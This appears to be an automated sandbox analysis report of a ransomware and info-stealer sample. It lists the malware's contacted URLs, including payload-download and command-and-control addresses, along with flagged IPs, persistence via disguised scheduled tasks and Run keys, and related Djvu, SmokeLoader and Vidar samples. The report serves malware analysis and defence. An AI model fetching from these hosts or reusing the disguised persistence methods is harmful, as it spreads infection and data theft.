http://jp.imgjeoighw.com/sts/image.jpgO	aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://static.xx.fbcdn.net/rsrc.php/v3/yI/r/Ib90vcVxYzI.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617144495.000001E292287000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.643446636.000001E29228C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://toobussy.com/	aafg31.exe, 00000015.00000003.616407141.000001E2922EB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonA	A170.exe, 0000001D.00000002.490407985.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yK/l/0	aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yn/r/A-4As8UDAZ8.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/y4/r/ZZnKfYusN8Z.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	explorer.exe, 00000001.00000000.378821866.00007FFC1B439000.00000002.00000001.01000000.00000005.sdmp	false	URL Reputation: safe	unknown
http://www.amazon.com/	D804.exe, 00000013.00000003.474950384.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exe$run	D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.twitter.com/	D804.exe, 00000013.00000003.475504479.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	D804.exe, 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	D804.exe, 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, B46F.exe, 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, B46F.exe, 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A170.exe, 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://static.xx.fbcdn.net/rsrc.php/v3/yT/r/Kp9IMjEGN_T.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yE/r/yWg6mkUCjYR.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ss.apjeoighw.com/blob:	aafg31.exe, 00000015.00000003.539122814.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonq	D804.exe, 00000013.00000003.452681314.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsons	913F.exe, 00000025.00000002.514716181.0000000000667000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yq/l/0	aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0	D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F011280Nkx%	D804.exe, 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.nytimes.com/	D804.exe, 00000013.00000003.475283762.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yE/l/0	aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.644310592.000001E292380000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/	B46F.exe, 0000001A.00000002.489404633.0000000000687000.00000004.00000020.00020000.00000000.sdmp, A170.exe, 0000001D.00000003.488086932.0000000000939000.00000004.00000020.00020000.00000000.sdmp, A170.exe, 0000001D.00000002.490407985.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/looking_glassboeL	build2.exe, 00000018.00000002.478487593.00000000008C8000.00000040.00000020.00020000.00000000.sdmp	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yO/r/_tJ17sGyx	aafg31.exe, 00000015.00000003.617144495.000001E292287000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.643446636.000001E29228C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json#&	D804.exe, 00000010.00000003.452471512.0000000000851000.00000004.00000020.00020000.00000000.sdmp	false		high
https://freebl3.dllmozglue.dllmsvcp140.dllnss3.dllsoftokn3.dllvcruntime140.dll	build2.exe, 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ss.apjeoighw.com:80/check/?sid=436234&key=2cef0d99b721939135d08fea0dcaba52G_	aafg31.exe, 00000015.00000003.569051255.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566066441.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.563228419.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.xx.fbcdn.net/rsrc.php/v3/ye/r/sczXDyPA0UL.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.wikipedia.com/	D804.exe, 00000013.00000003.475541394.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://we.tl/t-tnzomMj6HU	D804.exe, 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.636070288.00000000031DB000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://static.xx.fbcdn.net/rsrc.php/v3i7M54/yx/l/en_US/LsRZeEzcd6B.js?_nc_x=Ij3Wp8lg5Kz	aafg31.exe, 00000015.00000003.616139527.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.617336652.000001E292381000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558548528.000001E2922B9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559523108.000001E29229C000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593189980.000001E2922F9000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E2922CB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.595112195.000001E2922FA000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.live.com/	D804.exe, 00000013.00000003.475244622.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exerunb10	D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806Cg	D804.exe, 00000010.00000002.619429561.0000000000852000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
157.240.9.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
103.100.211.218	jp.imgjeoighw.com	Hong Kong	133115	HKKFGL-AS-APHKKwaifongGroupLimitedHK	true
154.221.31.191	ss.apjeoighw.com	Seychelles	133115	HKKFGL-AS-APHKKwaifongGroupLimitedHK	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
217.174.148.28	speedlab.com.eg	Bulgaria	31083	TELEPOINTBG	true
175.119.10.231	zexeq.com	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
211.40.39.251	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
157.240.17.17	star.c10r.facebook.com	United States	32934	FACEBOOKUS	false
211.119.84.112	colisumy.com	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
162.0.217.254	api.2ip.ua	Canada	35893	ACPCA	false
194.180.48.90	unknown	Germany	10753	LVLT-10753US	true
123.140.161.243	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
80.66.203.53	shsplatform.co.uk	United Kingdom	61323	UKFASTGB	true
188.34.154.187	unknown	Germany	24940	HETZNER-ASDE	false
45.9.74.80	unknown	Russian Federation	200740	FIRST-SERVER-EU-ASRU	true
211.59.14.90	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
188.114.97.7	potunulit.org	European Union	13335	CLOUDFLARENETUS	true
188.114.96.7	unknown	European Union	13335	CLOUDFLARENETUS	true
183.100.39.157	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	true
157.240.234.35	unknown	United States	32934	FACEBOOKUS	false
222.236.49.123	toobussy.com	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
222.236.49.124	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	876998
Start date and time:	2023-05-28 10:41:06 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	01860199.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@76/330@105/23
EGA Information:	Failed
HDC Information:	Successful, ratio: 45.2% (good quality ratio 38.6%) Quality average: 61.8% Quality standard deviation: 35.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 35 Number of non-executed functions: 25
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, consent.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12, 20.189.173.22, 20.42.73.29, 20.189.173.21
Excluded domains from analysis (whitelisted): login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, onedsblobprdwus17.westus.cloudapp.azure.com, onedsblobprdwus16.westus.cloudapp.azure.com, watson.telemetry.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:42:01	API Interceptor	556x Sleep call for process: explorer.exe modified
10:42:34	Task Scheduler	Run new task: Firefox Default Browser Agent 1D1CF5D964ED7B3F path: C:\Users\user\AppData\Roaming\hwgujdv
10:42:40	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe s>--Task
10:42:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart
10:42:45	API Interceptor	1x Sleep call for process: D804.exe modified
10:42:46	API Interceptor	1x Sleep call for process: WerFault.exe modified
10:42:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart
10:42:55	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
10:42:58	Task Scheduler	Run new task: mnolyk.exe path: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe
10:42:59	API Interceptor	571x Sleep call for process: mnolyk.exe modified
10:43:09	API Interceptor	1x Sleep call for process: build2.exe modified
10:43:20	Task Scheduler	Run new task: Firefox Default Browser Agent A259CA271F5868C4 path: C:\Users\user\AppData\Roaming\ewgujdv
10:43:34	API Interceptor	1x Sleep call for process: aafg31.exe modified
10:43:50	Task Scheduler	Run new task: NoteUpdateTaskMachineQC path: C:\Program Files\Notepad\Chrome\updater.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.100.211.218	iBq3pifGuE.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	iBq3pifGuE.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	file.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	file.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	jqloiwn9fF.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	jqloiwn9fF.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	OSUQsFeAon.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	OSUQsFeAon.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	Ed5uCl2WBF.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	BbyiKgc07X.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	14x8jpbRYa.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	Ed5uCl2WBF.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	14x8jpbRYa.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	BbyiKgc07X.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	32332577.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Stealc, Vidar	Browse	jp.imgjeoighw.com/sts/image.jpg
	2B8975D530E037D398EF15D6E53345672E2C23C8ED99D.exe	Get hash	malicious	Fabookie	Browse	bz.bbbeioaag.com/sts/bimage.jpg
	2B8975D530E037D398EF15D6E53345672E2C23C8ED99D.exe	Get hash	malicious	Fabookie	Browse	bz.bbbeioaag.com/sts/bimage.jpg
	file.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	file.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg
	ALfVvfdny3.exe	Get hash	malicious	Fabookie	Browse	jp.imgjeoighw.com/sts/image.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
toobussy.com	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	201.124.33.177
	08241599.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	84.224.88.101
	08451599.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, SmokeLoader	Browse	58.235.189.192
	06767099.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader	Browse	211.119.84.111
	01867799.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	175.126.109.15
	09563599.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	222.236.49.124
	02630999.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader	Browse	211.53.230.67
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, SmokeLoader	Browse	211.53.230.67
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, SmokeLoader	Browse	211.53.230.67
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	37.34.248.24
	05500299.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, SmokeLoader	Browse	175.119.10.231
	01609399.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	123.140.161.243
	06824599.exe	Get hash	malicious	Amadey, Djvu, SmokeLoader	Browse	58.235.189.192
	07543499.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, SmokeLoader	Browse	187.212.202.106
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	175.126.109.15
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse	123.140.161.243
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, SmokeLoader, Vidar	Browse	211.171.233.129
	M7R75837.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader, Xmrig	Browse	211.119.84.111
	93786.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	58.235.189.192
colisumy.com	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	211.171.233.129
	08241599.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	2.180.10.7
	02914099.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	210.182.29.70
	01169399.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	175.119.10.231
	08451599.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, SmokeLoader	Browse	58.235.189.192
	06767099.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader	Browse	187.232.244.143
	07149199.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	187.232.244.143
	05495999.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	211.59.14.90
	02214199.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	190.229.19.7
	01867799.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	175.126.109.15
	09563599.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	37.34.248.24
	08023599.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.63.16
	02630999.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader	Browse	175.119.10.231
	file.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, SmokeLoader	Browse	175.119.10.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	123.140.161.243
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, SmokeLoader	Browse	175.120.254.9
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	175.119.10.231
	file.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	211.53.230.67
	02321699.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse	187.233.30.149
	08713699.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	175.120.254.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HKKFGL-AS-APHKKwaifongGroupLimitedHK	08451599.exe	Get hash	malicious	Amadey, Babuk, Djvu, Fabookie, SmokeLoader	Browse	154.221.31.191
	06767099.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader	Browse	154.221.31.191
	09563599.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar	Browse	154.221.31.191
	02630999.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader	Browse	154.221.31.191
	iBq3pifGuE.exe	Get hash	malicious	Fabookie	Browse	154.221.31.191
	iBq3pifGuE.exe	Get hash	malicious	Fabookie	Browse	154.221.31.191
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse	154.221.31.191
